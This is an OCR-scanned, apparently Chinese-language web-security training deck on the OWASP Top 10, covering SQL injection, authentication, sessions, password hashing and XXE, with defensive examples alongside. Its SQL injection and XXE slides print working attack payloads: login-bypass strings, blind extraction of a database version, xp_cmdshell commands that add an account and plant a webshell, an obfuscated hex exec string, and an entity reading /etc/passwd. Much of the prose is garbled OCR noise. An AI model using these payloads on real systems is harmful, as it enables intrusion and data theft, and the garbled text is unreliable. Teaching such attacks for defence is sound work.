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> 33 £78 (Fred.Weng) < fred.weng@sti.com.tw >
> IFL D KB -FTE P TSR
2R (1996 ~)

v BNkt (c++ + ASP.NET - C#)'
- RFEF LR F RRpECRERT
v CMMI ﬁ}fﬁf’a o R )i;f.x?g.
v" SOC (Security Operation Center) & fuiZ B 27 @ E
v' DLP (Data Loss Prevention)4p i £ &
v APT (Advanced Persistent Threat) ¥ & 8 /B a2 4p B 2 5

33 BhiF 4 &1 1% 35 RIEFPRIE (2007~Now) ¢am
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Network vs. Application

I. - 73%
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VULNERABILITIES

Fullstack
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View
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AP Twitter account hacked, makes false claim of
explosions at White House (update)

by Chris Welch | Apr23, 2013, 1:16pm EDT

m W TWEET | in LINKEDIN

NOW TRENDING

% Follow

Ap The Associated Press ©

Breaking: Two Explosions in the White
House and Barack Obama is injured

Repl Ret t Favorite eee Nor
@ Rep y L3 Retwee * —— - DJ 30 industrials (DJH-USA)
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> % > i : HTTPE: 2 J#\ﬁx
g > AP § ¢

Password Required
EREREL): E abe ;I
EEEE): |

[ EEERHTBER)

\/@ﬁ;f]:{»’ Es
— 40 > SSL % #f B4




» HTTP+ SSL(Secure Sockets Layer)

v'SSL is designed to encrypt “any” TCP/IP
based network traffic

- B R
- B ER R £3

SR BRARS L PRE (R ;D)

HTTP LDAP IMAP PPN

Application Layer
Network Layer

Secure Sockets Layer

TCP/IP Layer

12




SSL. Handshake

Client Server
. Supported SSL/TLS Version ~ Cipher ~
ClientHello Method ~ SessionID ~ Random Data
Used SSL/TLS Version ~ Cipher -~
Method ~ SessionID ~ Random Data ServerHello
= A
Chain of Certificate/Public Key Certificate S
y — =
ServerHelloDone
<
. Send client key encrypted
ClientKeyExchange by server’ s public key
ChangeCipherSpec Verify Cipher/Key )
Finished
>
< Verify Cipher/Key ChangeCipherSpec
Finished

13




SSL is enough

=+ T8

FEIED
-7 ¥F84E
, Mk @
B* ik - B
- # > # & -> SQL Injection, XSS..
Framework
- .NET, Java, 3'd party libraries

ot A28 % KRB
- backup - test files
- source code files
- config files
272 j( FLRE 3
T 5% B ziium?
- SSL config
- HTTP config
B ET e e R PR A3

22 AN 4 %
lt#- S8 fvb

N



Copyright of ST



v — BB AALIE ?ﬁrwe%\nBawiﬂpszw\gﬁﬁ%é
AR5 R PSR (R Web it W 22 fROF 1 %
e it BRSNS fERET L TR A2
N 2o

v T E

- FRBART LR gETC) ~ 2 RREN FEE* + TH% 2
PCI# % o
v PH 3305 BiziEe dntd o & FEr & HOWASP Top 10(
~ Web33 8L) » 11 2 WebGoat(* % £ )Y T 2 - Enterprise
Security API (ESAPI) -~ OWASP Guide Pl’O]CCt—?"e- I b 5
el 2R ABFIHHBEFTYT o
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OWASP Top 10 2017

2 (Injection)
X 435858 (Broken Authentication)
JUEEHISME ( Sensitive Data Exposure )
XMLAMSDEEIR 3398 (XML External Entity » XXE) ﬁ
> Mﬁ’aﬁmﬁﬁ ( Broken Access Control )
] BRMMERERTE (Security Misconfiguration )
5 (Crﬂss~51te$crlptmg » XSS)

_ FoSFEE R Z/ME (Insufficient Logging & Monitoring ) 3
EPELAH : OWASP + [Thome 48 + 20174 117

https..//www.ithome.com.tw/news/118411
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» [Veracode] “STATE OF SOFTWARE SECURITY 2017”

Applications Passing OWASP Top 10 Policy
B passed M Did ot Pass
2017
2018
2015
Third-Party PI-E A 72%
¥ 10 20 o 0% 2 60% ™ 80 90% 50
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SQL INJECTION TREND
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g

INDUSTRY COMPARISON — MAJOR VULNERABILITY CATEGORIES

Percentage of Applications Affected
| Cross-Site SQL Credentials Cryptographic
ndustry ST ST
Scripting Injection Management Issues

Covernment 49 0% 3'| 5% 52 7% 48.3%

Infrastructure 21.4% 21.4% 24.3%
Retail &

Hospitality 28.5% 19.3% 30.1% 44.6%

Other 12.8% 8.3% 13.7% 20.4%

20
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Injection

>I§C§Jﬁﬁiﬁﬁ} i ’5:&?‘3}% L RIS AR (T
v'SQL Injection

22



ﬁ'Jﬁ%tﬁ%%ﬂk&'JaHTiﬁA SQL&B&

@@ UserName")|& 'f =)' &[Request("Pass")|
&Y

HIEEIE SQL Server #ATT » &R EMANHHS

Set rec=.Execute(strSQL)

SOL /n/ééz:/:bn (4£:1998 ~ Z%:?)

25 @ A5 P i HHE Y R
EE}%J/\:’QHE:@(FE EZSOL *zE_Wi%
RPN R T RIGE N EHIT -




\zo\}fé:% P ’}J‘E—%é ‘k“F"

- L 2 2 s 2
S G F It BT

’F‘l%tk | e p e ~
SQLs<# 47 4




2~ SQLsx ¥ 4, £

r *Bypass Authentication
" ol 1 °Error Based
A Union Based

ate Based

., e ~
- "--..‘

Extended Procedure



Bypass Authentication

>ngg%¢w%%%a%?€»3&!

Select Select
* *
From From
Account Account
Where Where
username=‘[+z 5]’ username=‘abcde’
and and
password=‘[ % #]’ password=* or 1=1--
e XN IOF
> ‘or ="
> ‘or 1=1--
> ‘or1=1/*

Demo =~ .... ”



Error Based

> 5 #H ¥ A : ASP+ MS SQL
> B Rk 12 5(2)

ir.asp?ID=28517 and @@version=1-- - Windows Intermet Explorer [Z”E]E|

p—

@.:__‘._.-v & http: | asp7ID=0851 TEENCITISIRE v | [ [+ X | ool |2~
| BRE #HE BRO HPRFW TAD 5P
e HRE @mpel b | | fick B R-E-A DRBPOEBYE ©EE -

¥ nvarchar {H "Nicrosoft SQL Server 2000 - 8,00, 2055 (Intel X86) Dec 16 2008 19:46:53 Copyright
{c) 1988-2003 Nicrosoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack

2) 7 HEAEIELRY int MFIEEEIREER.

SEAN & R fa v ®iowm -

= JE{BRERE : “SQL Injection (BRHEME)- B2= 0 SQLIEZE #2 "

27



Union Based

PLF 2%+ BERBrEPLaEsE

Select Select
id,user,message id,user,message
From Frorlr)l .
board —
Wh Where
ere id= 8
id= 8

Union select 1,2,version()--

Demo =~ ....

28



Blind SQL Injection

» Error Base 7% i+ »

fth A2 E
fthELE EE VTR
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Blind SQL Injection (cont.)

DD R I
# J True

Recent Transactions l

Aftar | ‘ Before |':|1.-"E|1.-“EDDS and '1_'='1'| [ Submit J

TransactionID ArcountId Description Amount

1 1001160140 Paycheck 1200
I

False A

Recent Transactions l »

pter | | Before  [01/01/2005 and =2 [ 'Submit |

TransactionID Accountld Description Amount

30



> HER R R 78

http://XRENENENENN /productList . php?id=8
http://8XXENENNNE/productList . php?id=8
http://8XXXNKXXXNK/productList . php?id=8
http://XKNXNXNENXN/productList . php?id=8
http://ARNNRRRXSNR/productList.php?id-=8
http://XKXXSERERRE/productList.php?id=8

http://XKNXNXNENXN/productList.php?id=8
http://ARNNRRRXSNR/productList.php?id-=8
http://XKXXSERERRE/productList.php?id=8
http://8XXENENNNE/productList . php?id=8
http://8XXXNKNXNNX/productList . php?id=8
http://XKNXNXNENXN/productList . php?id=8
http://ARNNRRRXSNR/productList.php?id-=8
http://XKXXSERERRE/productList.php?id=8

and { select
and { select
and ( select
and { select
and { select
and { select

and { select
and { select
and { select
and { select
and ( select
and { select
and { select
and { select

2R

HSEII(5uh5tring(@@uer510n,1,1}} ) >188 --> False --> 1 ™ 108
HSEII{5uh5tring{@@uer510n,1,1]} Yy 258 - True --> 5@ ™ 168
ASCII{substring(®@version,1,1)) ) >78 --> False --> 58 ™ 70
HSEII(5uh5tring(@@uer510n,1,1]] ) »68 --> False --> 58 ™ 6@
HSEII(5uh5tring(@@uerSiun,1,1}} ) »5% --> False --> 58 ™ &%
HSEII(5uh5tring(@@uer510n,1,1}} )y =53 --» True --» ASCII = 53 --> '&'

ASCII(substring{®&version,2,1)) ) =46 --> 5.
ASCII(substring{®&version,3,1)) ) =48 --> 5.0
ASCII{substring{E@version,4,1)) ) =46 --> 5.0.
ASCII{substring(®&version,5,1)) ) =51 --> 5.0.3
ASCII{substring(@&version,6,1)) ) =55 --> 5.0.37
ASCII(substring{®&version,?,1)) ) =45 --> 5.0.37-
ASCII(substring{@&version,8,1)) ) =168 --> 5.0.37-1
ASCII{substring{®@version,9,1)) )} =111 --> 5.0.37-10

:http:IIXXXXXXXXXXX!pruductLiSt.php?id=ﬂ and ( select ASCII(substring(@@version,18,1)) ) =183 --> 5.8.37-log ====> HySQL DB
http://XXNXXXXXNXX/productList.php?id=8 and ( select ASCII(substring(®@version,11,1)) ) >8 --> False --> Stop !

31



Batch Queries

S0P REY B RAWEA  EREE S
£ o (MS-SQL : 3)
v'Select / Insert / Delete / Update / Drop ....
VIR E g% o Stored Procedure 35 4
>ITEEF PR %’ i
v'id=1 ; drop table account;--
v'id=1 ; exec master..xp cmdshell ¢

FARLEEEAH > TR L



Batch Queries (cont.)

>MS-SQL B4 % 37 2% ,....0

W AEF A EH(MS-SQL) | # #

Xp_cmdshell it 29 72 SQL Server 1% Jurk gL E o K H 7 =
Sl Nl A

Xp_regXXXX 7 BT ¥ i siaregistry 3L o

Xp_servicecontrol B2\ Fr s KO PRI o

Xp_terminate_process BHEBHF? A > BRI S RlE
Process ID -

Xp_dirtree Bm R D ET o P AR

xp_oaXXXX FERPRR IR OLE & o

33
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Input Validation

»SOP :

Decode data before validation ! Maks
potentially
Allow known Reject known malicious data
good data bad data safe

Input Constrain > Reject \

Sanitize

Validate type, format, For example, stripping
length and range Null characters or
(Use regular expressions spaces

for string data)

35



Input Validation (cont.)

>—"é’ > R Bk Bk “57 3]
EREE 103 ~
VE LFR~ fodicF
DR FLEFERESE e B4R L G eh
ﬂisa] T, ok B R
» Minimize Attack Surface Area !!!

SQL Injection I¢#EFZE &)

SELECT select List FROM table_source WHERE column_pame = anynumber;

declare/*Avoiding space*/@s/**/varchar(255)/*%/
select/**/Bs=0x626370206d61737465722e2e7379736F620a65637473206F757420633a5ch96e65747875625cTT77TIT26T6T
exac/**/master. . xp_cmdshell/**/g@s

36




>2 2 ¥ s@;;,g (F 78 2% 1K)

v 7 i

J_"ﬁb ZTEMET ....EBEF R

or 1=1--

or 2>1--

¢ or V=

and 1=1--

and 1=2--

‘;declare @a int;--

@@version>1

1/0

order by 100

¢ union select coll,col2,... from table--

sexec master..xp_cmdshell ‘net user Hacker Hacker /add’;--
sexec master..xp_cmdshell 'echo WEBSHELL > path/a.asp‘--
sexec master..xp_regread 'HKEY CURRENT_USER,Software\ORL\WinVNC3',Password;--

37



> #2 7% ¢z = Parameterized Queriess g ;£ X
BERTRE

VB EERFIA R A EET 'M‘ﬁ% mﬁx“‘ 170

SQLF% = o BT ﬁx £ m]‘yb e 2 R ER-SQL

e BB TR J9 T ARFR AR K o

/ﬁiﬁQL%p;maagq,“m
— B E R Bd’?IT%—% 2, i‘r"—*'ﬁ-"ﬁ F2 V2K 2L EF o
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AL R 3 P42 5% 22§ (cont.)

V RN E G (B iay i)
- Bad ! > SQL Injection !!

a8 N

string userName = ctx.getAuthenticatedUserName();

string query = ""SELECT * FROM items WHERE owner = """
+ userName + "' AND itemname = "'"
+ ItemName.Text + """"';

sda = new SqlDataAdapter(query, conn);

DataTable dt = new DataTable();

sda. Fill(dt);

& Y

39




A

P

LR 3 B~42 7\ 22 F (cont.)

v 42N # 5] (NET — CH#) (4 chg iz ) o

/ string connString = \
Wi ring;

ebConfigurationManager. ConnectionStrings[""myConn''].ConnectionSt

using (SqlConnection conn = new SqlConnection(connString))
{
conn.Open();

SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM
Products WHERE ProdlID=pid'', conn);

SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50);
prm.Value = Request. QueryString["'pid"];
cmd.Parameters.Add(prm);

\ int recCount = (int)cmd. ExecuteScalar();
/ /

40




AL R 3 P42 5% 22§ (cont.)

v #2378 & 5] (Java) (RAFEE )

== 1

tring custname = request.getParameter("' customerName'");
// perform input validation to detect attacks

String query = "SELECT account_balance FROM user data WHERE user name =? '’;
PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, custname);

\ResultSet results = pstmt.executeQuery( ); j

41



/4§%$?sa*{ﬁ’f ”ﬁ”;f‘n‘ ET’ B ()
fl

> HB— AL * 7 "J e 75 g% 58 N Lt T %51-%1‘"'1",%
‘\:KQﬁ;Jﬁéﬁ 'E'-—'JZ_E/] o

v MS-SQL :

— sp_addextendedproc ~ sp_addlogin ~ sp _password -
sp_addsrvrolemember -~ xp cmdshell -
xp_availablemedia ~ xp dirtree ~ xp _servicecontrol ~

xp_subdirs ...... F o 42
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Broken Authentication

>WebJk * #23% ¢ LA M G A1
V& itk AARYEE /L fB
VIR E @R TR

44



>t e fic
VEHRF R

— http://www.test.com.tw/UserDataManagement/Use
rDataEdit.aspx?access=read

— https://web_ip/index.php?id=john&is admin=fales
&menu=basic

- iz !
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B % e B~ 4 (cont.)

> i& * cookie
v 4 & 2 IR Cookie ¥ 5 g T B
— uid : B #c
— username : ¥ P
—admin : 0/1/Y/N
— permission : & #/F 8
- £ ! (Cookie Poisoning/Spoofing)

B r S B R
vl s
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Zero Day

BSERIR R TS

| 0201600353 mEEE
FEEEEIIEERAEREERE

NEST A RO GEEER SN I EEREER

BEAEER SN ERAEENNHEERIET, HEEREHE T REERREN
BWEET ARSI ETREHRNEENERSSE, SEERENEEEER

BBk
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B
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> Authentication

v H %E‘;;{ PG /33 %A
Vi * i R As € A2 I
V'K 'L%E%;_ é 3% 2
v PR 4 Rt TP A Gtk B2 Lk PR )
VE[E TR KR g R
VR 2 5N " b e i b @R R A

—~ SSL

VEIUE 2 3 N R
— Hash / Encryptlon

48



A\ 4

72 s 44 K /-
—F 2 121 BT

— Re-authentication
~FEFERER? F G TP G PR B R
— SSL 4 % @ ﬁ;.*]
— i Avig * & (51:by email)
T AR
— F AR R R g R ??”®
— Send a unique time-limited unguessable single-use

recovery URL to user’s email provided during
registration.

49



2 soereddshon@sccredtisbon symante: com ELRE NUAGEE- TR0

==

ez el weng@cticom by -

IS Howtoresetyour Symantec usemame and pazsword at the Integral7 Crecential Manager

Dear Fred Weng,

To reset your username or password at Symantec's Integral7 Credential Manager, please click on the account recovery link below or copy and paste the address onto your web browser's address window.  When
the page opens, enter the authentication code.  Once you have authenticated, you may reset your username and/or password,

Account recovery link: hitos://7lp.integral7.com/durango/aaazkey=nGHhYchTMdkmuQnctPIR -

Authentication Code: wrHSptus -

Please note that the account recovery link will expire on 09/05/2012, -

If you require further assistance resetting your password, please contact accreditation@accreditation symantec.com,

Thank you for contacting Symantec

You are recelving this email because you are a customer of Symantec and have requested information regarding your account,
Powered by the Integral7 Credential Bureau (wwintegral7.com)




» & e Session Management

VE & RAlEE AR * dhsession ID #8 &
39 ;‘5“ L 3
v 9 e
— 4% i * cookie ¥ i%
» 14| cookie scope (domain & path)
» 2k z_HttpOnly flag
» 2k %_secure flag
Set-Cookie:1SESSIONID:893ihewwydkq2704@&@09;Path=/;secure
— 4% * LIF i * cookie
> 5l URL %87 Vi 7 @ik
> ¢ 4 &> Referer header / Browsing History
>RT B EREENAR LR (LR IEF replay)°!




% (cont.)

v'Logout() !
- F . 13 3 {2 2 eh session F R
thiz Beszion _ Abandond ); | thiz Session Clear();

— <X session token % »x

Session.Abandon();
Response.Cookies.Add(new HttpCookie("ASP.NET SessionId”, ""));

http.://forums.asp.net/t/1755872.aspx?Session|D+not+getting+reset+after+Session+Abandon

52



f# 3£ 2% 2% (cont.)

v'Logout() ! (cont.)

— Java Samples
»Sample1:

if (=ession '= null) |{

HttpSessicon session = request.getSession(false);
session.invalidate() ; @

}

»Sample2:

public static HttpSession resetSessionId(HttpSession session,
HttpServletRequest request) {
session.invalidate();
session = request.getSession(true);
return session;

http://stackoverflow.com/questions/4836106/how-to-reset-jsessionid




% (cont.)

v'Limit session lifetime

— Java Samples
Web.xml

<session-config>
<l-- inactivity timeocut in minutes -->
<gsession-timecut>15</session-timecut>
</session-config>

Coding:

// inactivity timeout in seconds
session. setMaxInactivelnterval (300} ;

v'No concurrent logins !

54
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Sensitive Data Exposure

FREF ARE R T T RBATE R

Vi RIP TR N R
PR AN R AT A e B R
v>Log/ % i»

v >APP

\/9@%]

>’ﬁ 4y % ’ fg_zEL
Vi * $ 3 ehse iR B 2 D ELfR
VEGR FIE A &
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g I '%ﬁ"“ B
V4N m\B ‘2\ F% ‘Q)\

@Hw |é.tesﬁn'enet ol [ B9 [ | [Mgoocs |p 3

BXE REE WR0 AREQ IRD H8E
i HARE _@MTDID Mutual: Berver Ermor || Tl"ﬁ W E |- {E}' HHEF' £ rﬂ B € i - ol & #RD- REEE-

»

Sign In | Contact Us | Fesdback | Search | . |
AltoroMutual |

An Error Has Occurred

Summary:

Syntax error in string in query expression 'usarname =

Error Message:

System.Data.OleDhb.OleDbException: Syntax error in string in guery expression 'username = "', at System.Dats.CleDb.OleDbCommand.ExecuteCommandTextErrerHandling{ GleDbHResult hr) at
System.Data.0leDb.OleDbCommand.ExecuteCommandTextForSingleResultitagDBPAR AMS dbParams, Objecth executeResult] at System.Data.Olelb.OleDbCommand. ExecuteCommandText{ Chjecth executeResult)
at System.Data.OleDb. CleDbCommand.ExecuteCommand{CommandBehavior behavior, Objectd executeResult] at System.Dats.CleDb.CleDbCommand.ExecuteR eaderinternal{CommandBehavior behavior, String
method] at System.Data.OleDb.OleDbCommand.ExecuteR eader{ CommandBehavior behavior] at System.Data.CleDb.OleDbCommand. System. Data. IDECommand. ExecuteR eaderCommandBehavicr behavior] at
System.Data.Commaon.DbDataédapterFilllnternal{DataSet datazet, DataTable[] datatables, Int32 startRecord, [nt32 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at
System.Data.Common.DbDatatdapter Fill{ DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at

System.Data.Common.DbDataddapter.Filll DataSet dataSet, String srcTable] at Altoro.Authentication.ValidatelUser(String uName, String pWord] in d:\dovnloads\AltoreMutuzl_ve\website'\bank\login.aspx.cs:line 73

at Altoro.Authentication.Fage_Load{Cbject sender, Eventirgs e) inl|:|:"\domlnads"ﬁ.ltoroMutual I.IE“.,wel:lsite't_hank'ilngin.aspx.ElIine 33 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Chject
t, Eventirgs &) st System.Web.Util.CalliEventHzandlerDelegateProxy. Callback| Object

System.Web.UL.Page.ProcessRequestiain(Boolean incudeStagezBeforetsyncPo

er, EventArgs e) at System.Web.UL Control.OnLoad(EventArgs e) at System.Web.UL Control.LoadR ecursive(] at

oolean includeStagesAfterAzyncPoint]

Privacy Policy | Security Statement | £ 2009 Altoro Mutual, Inc.




WARTH B 4§

VB T G R E R TR &
_ Password - Session ID -
v ig A -‘F,J'”\ﬁ,l

Vi R
> 2t 15 W?ESSLﬁ’JT#B"?iﬁ !
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CG%E‘%”Z ‘g LIRS

» Password : 12345678

Algorithm Value

Base64 MTIzZNDU2Nzg=

DES (13 chars) aaNN3X.PL2piw

MD5 (32 chars) 25d55ad283aa400af464c76d713c07ad

SHA1 (40 chars) 7¢c222fb2927d828af22f592134e8932480637¢c0d
Salted MD5 $1%5tsLFcOYh$5ibC1Ui20PwUvyGUttUFI1
LanMan 0182BD0BD4444BF836077A718CCDF409
NTLM 259745CB123A52AA2EG693AAACCA2DB52

59



» Encoding (5045 ) : Base64 - HTML Encoding

» Hash (32/% & 3c) : MD5 - SHA1

f(data) ; :
‘ [ ,‘4%43,7? E J . The input can be of any length.

The output has a fixed length.
v H(x)is relatively easy to compute for any given x.
v Hix)is one-way.

Hix)is collision-free.

> E nCl‘ypt ( 4 | :.?]‘,' ) . AES (http://www.rsa.com/rsalabs/node.asp?id=2176)
f(data, key)
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Hashed Password Cracking

> cc% 3 ﬁiﬁ;”?ﬁ'ﬁ%

Hashed Password/W Plaintext 000001’ hash Plaintext 000001
=¥ | Plaintext 000002’ hash Plaintext 000002
7c222(b2927d8 | = i i
28af22f592134e | Match ?
8932480637c0d
\\ , . .
Plaintext 999999’ hash Plaintext 999999

Rainbow Table
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F

Mm Len Max Len Cham Len

Chain Count M of tables

| |ozrsglshial

E )
hal A FE

dpemd 160 —
eyl 323

CimOpiK L MHNCOPORSTT
shaz bt Q

sha334 T
sha512 J@z

oracle - 582 kews
wpapzk V|35 p

- Benchmarl
_ Hazh speed.:

Anecess probabilite: 0978038 (O

Step speed:

' [2400

40000000 (1

BEE &REE R HEEEG THEO RS

D © RG] Ome Josons @

n

Ak T |@ http:irww Freerainbowtables.com/ind ex-rainbowsbles-tables-shal html

b

HE  EE P

Algorithm:

5HA1

Character Set:

mixalpha-numeric
{abcdefghijkimnopgrstuvwxyz ABCDEFGHILIKLMMNOPQRSTILWVWXY 20123456 739)

String Length:

1-7 characters

Mumber of Tables:

101

Filesize:

36.9GE {rar-compressed)

Download:

Torrent - Download torrent for these rainbow tables

Files:

shal_mixalpha-numericx1-7_0_4500x40000000_all.rar
shal mixalpha-numeric#1-7_1_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_2_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_3_4500x40000000_all.rar
shal_mixalpha-numeric1-7_4_4500x40000000_all.rar
shal mixalpha-numeric#1-7_5_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_6_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_7_4500x40000000_all.rar
shal mixalpha-numericx1-7_8_4500x40000000_all.rar
shal_mixalpha-numeric1-7_9_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_10_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_11_4500x40000000_all.rar
shal_mixalpha-numericx=1-7_12_4500x40000000_all.rar
shal_mixalpha-numeric®1-7_13 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_14_ 4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_15_4500x40000000_all.rar
shal_mixalpha-numericx=1-7_16_4500x40000000_all.rar
shal_mixalpha-numeric®1-7_17_ 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_13_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_19_4500x40000000_all.rar
sha1_mixalpha-numericz1-7_20_4500x40000000_all.rar
shal mixalpha-numeric®1-7_21_ 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_22_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_23_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_24_4500x40000000_all.rar
shal_mixalpha-numeric®1-7_25 4500x<40000000_all.rar
shal_mixalpha-numeric#1-7_26_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_27_4500x40000000_all.rar

*
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Password Crackers

» John the Ripper
v" http://www.openwall.com/john/
v DES/MD5/Salted MD5/LM

» John The Ripper MPI Patch

v" http://bindshell.net/tools/johntheripper

v DES/MD5/Salted MD5/LM/NTLM/...
» Cain & Abel

v' http://www.oxid.it/

v LM/NTLM/MD5/SHAL/...

» RainbowCrack
v' http://www.antsight.com/zsl/rainbowcrack/
v MD5/SHA1/LM/NTLM/...

» Google
v Reverse MD5
v Reverse SHA1
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> Principles : £ 7% 3| ~ {37 B
\/’b&ﬁi’?’}iﬂ B w3 ug%

v B 2 g 5 PP % i Hash e £ 0 i iRk -
— % W EREEE g B 2 & £ i key size

— Hash
>3 £ 2% LM~ MDS -~ SHA1T
»i+i¢ » : MD€YNice, SHA-256
> = &2 0 hash EF 4 » pr#cF ¢ (salt)
» 7] $1$tsLFcOYh$5ibC1Ui20PwUvyGUttUFI1
» ]2 : Hash(“secret”, “1lkjdo3opf”’), Hash(“secret”, “mkdi2kan7”)
— Cipher
»7 & g * . DES ~ Triple DES
> gﬁ—f% * » AES(AES-128, AES-192 and AES-256) 65



» Java Sample

import javasecuri tyMessagelligest;
import javasecurity SecureRandorm;

public bytel ] getHash(int rounds, String password, bytel ] salt) throws

MNoSuchAlgorithmExceaption {
MessageDigest hashvalue = MessageDigest.get Instance( "SHA-256"); /isHA-256 BLE
hashwalueresat():
hashvalue update(salt): lleat EEELPE S 64T

bytel ] input = hashvaluedigest(password.getBytes("UTF-8");
for (int | = 0: i < rounds: j++) { JEE TR ES S RIS NI SRR RE
Fashva lusresst )
input = hashvaluedigest(inout);
}
retun input:  EEEBOHEN e BLUEHBNFESHEERPIESE
}

SecureRandom random = SecureRandomuoetinstancs("SHA TPRNG); /| BE2 B8 ES B
bytel] bSalt = new byte[8;

randomunextBytes(bSalt);

bytel ] bDigest = getHash{| TERAT ION_ROUNDSpassword bSalt);

String sDigest = oyteToBaseb4(bDigest): [/ BUARIINE T - AFENR —HRETIIEHE
String sSalt = byteToBaseb4{bSalt): [ st - EENIESE—HRETEIENE

—

TASAE 8TH - FRBE L FA s L)

%

(

R

\\\?{r

F .
3

-~m
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v'For encryption keys

~ W] BARF G » bR AR THESG TR
v'For configuration store

L B

> NET : Aspnet_setreg.exe

https.//support.microsoft.com/en-us/help/329290/how-to-use-the-asp.net-
utility-to-encrypt-credentials-and-session-stat

SR AL
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XML External Entities(XXE)

> 1 —“g’ & XML External Entity %1 %= eqp
R SRl B L SRR LS iR
v’ extract data
v’ execute a remote request E
v scan internal SYStemS the server where the parser is located

v’ perform a denial-of-service attack

libxmi2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp

compress.zlib jar
compress.bzip2 netdoc

data mailto
glob gopher *
phar

i :
SECHELIE Y Lencenl COrl
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XXE BUG PATCHED IN FACEBOOK CAREERS THIRD-PARTY
SERVICE

by Michael Mimoso B ARITE7TTCRGTGED]

A vulnerability was discovered and patched in a third-party service that handles

resumes on Facebook’s careers page.

The discovery was worth more than $6,000 in a bounty paid out by Faceboock to
researcher Mochamed Ramadan of Egypt, who published some details of the

vulnerability and exploit on his website.

Ramadan said the vulnerability is a blind XXE (XML
External Entity) Out of Band bug. It allowed him to
upload a .docx file to the careers page with some
additional code that was not vetted by the third-
party service.

2014.12
Facebook !

Facebook has tackled XXE bugs before. In January, it paid out a $33,500 bounty to a
Brazilian researcher who found a XXE vulnerability in Facebook's Forgot Your Password
service. He reported the XXE bug and asked Facebook for permission to escalate itto a
remote code execution flaw. Facebook quickly patched, but Silva shared his potential
exploit with the Facebook security team which decided it merited a major bounty.

https.//threatpost.com/xxe-bug-patched-in-facebook-careers-third-party-service/110151/
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B ETIERSE

EEMAiThome#iE

Z 2 HE A B Corben LeoE ENikeif FMyNikeTeam.com@B L EE—

Nikelf FEMIEIRBRMERSH, TIEEI/NRZHFEREM

G+

( Out-of-band XML external entities + OOB-XXE ) I
FRLETXMIBEENEET ) EEREERE I EEEESHEE

EREXHENT » AFANike R

EXMLIMEE SRS

FIE TEMEERET
SLI{ENike.comF @B ARKESE

EMERER
ERlE - LeolEE 710£77PythonE
BT 2 A EIFTPRIARES -

RFOEA: 15 fu B BRERIS R

WESKAR EE

iThome Security




HER =] BikiE,

BEIRTNEEAS
HARBHRITRIE -

(S8

IRMEE] T ERRE . FEXERRE  BEO(#=
SFHEaSERERER

.

SHEERGNEE
EEREElogSiconfigECHEEENEEEHIRIERES -

= =%
S

T
El_l_ﬁ

FEHA R

P ERELIAT

2018.3
Microsoft !

% | 2018-03-22 B% EEIEE] =2/ iThometsE G+
¢ Windows Remote Assistance
Do you want to ask for or offer help?
ERMABER  BRFEBEERER msrcincidentis » HEWE—RIE

Windows Remote Assistance connects two compy

problems on the other person's computer, &.msrcincidentMiEHIEF EH -

EEREAIXML

ERNSEZELRREE - 2

WindowsBIXML parseril K& T 7 H05RE

 BNEFTLIMAREE  #EE

ZAFEBREENREElogEconfigiE

—> Invite someone you trust to help {

Your helper can view your screen and share control of your computer

—> Help someone who has invited you

Resnnnd ta a renuest for ascictance from annther nercnn

280 ( remote assistance ) &
%E%Eﬁ;& :

2

i) I

i

3
o
crim
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XML Basic

» DTD p %% £

<?Xml wversion="1.0"72>

P R

<torGeorge</to>

<from>-John</ froms-

<heading>Reminder</heading>

<beody>Don't forget the meeting!</body>
</note>

Note.dtd

n d "note.dtd"s :> <1ETLEMENT note (to,from,heading,body)>
noTe <!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATR)>
<!ELEMENT heading (#PCDRTR)>
<1ELEMENT body (#EPCDATR):>

L

<toxGeorge</to>
<from>John</ from
<heading>Beminder</headings

<body>Don't forget the meeting!</beody>
</notex
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XML Basic

> DTD 425 1 R(ENTITY)* § A “p ;L4
_|;,'_E_? ¢ 5} 2R %;g;l; 9

< PHI o

<!DOCTYEE te

<!ENTITY writ o .
<!ENTITY copyrig PHE :
1=

<authorrewriter; scopyright:</author:>

74



Attack Samples

»Samplel: 3§ P~ 57 T KL

:/usr/local/nginx/html# cat testXML. php
<?php
$xml=<<<EOQOF
<?xml version="1.0"?>
<! DOCTYPE ANY [
<IENTITY xxe SYSTEM " file:///etc/passwd">

xxe, </ x>

simplexml_load_string( $xml);
print_r( $data);

2> security.tencent.com

€@ | @192168.1.102n

SimpleXMLElement Object ( [xxe] => SimpleXMLElement Object ( |
/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/
/uucp:/bin/sh proxv:x:13:13:proxv:/bin:/bin/sh www-data:x:33:33:wv

gnaty Source of: http://192.168.1.102/testXML.php - Iceweasel
mess
/bin/f File Edit View Help
beef" SimpleXMLElement Object
/bin/s (
/run/ [xxe] => SimpleXMLElement Object
! (
sslh: [xxe] => root:x:0:0:root:/root:/bin/bash
/run/i daemon:x:1:1:daemon: /usr/sbin: /bin/sh

bin:x:2:2:bin:/bin: /bin/sh

sys:x:3:3:sys: /dev: /bin/sh

sync:x:4:65534:sync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /bin/sh

man:x:6:12:man: /var/cache/man: /bin/sh security.tencent.com




ml

<1 DO
<L ENTITY
<! ENTITY

1

CTYPE

:/usr/local/nginx/html# cat testXML6. php

<<<EQF
version="1. 0"
ANY [

% file

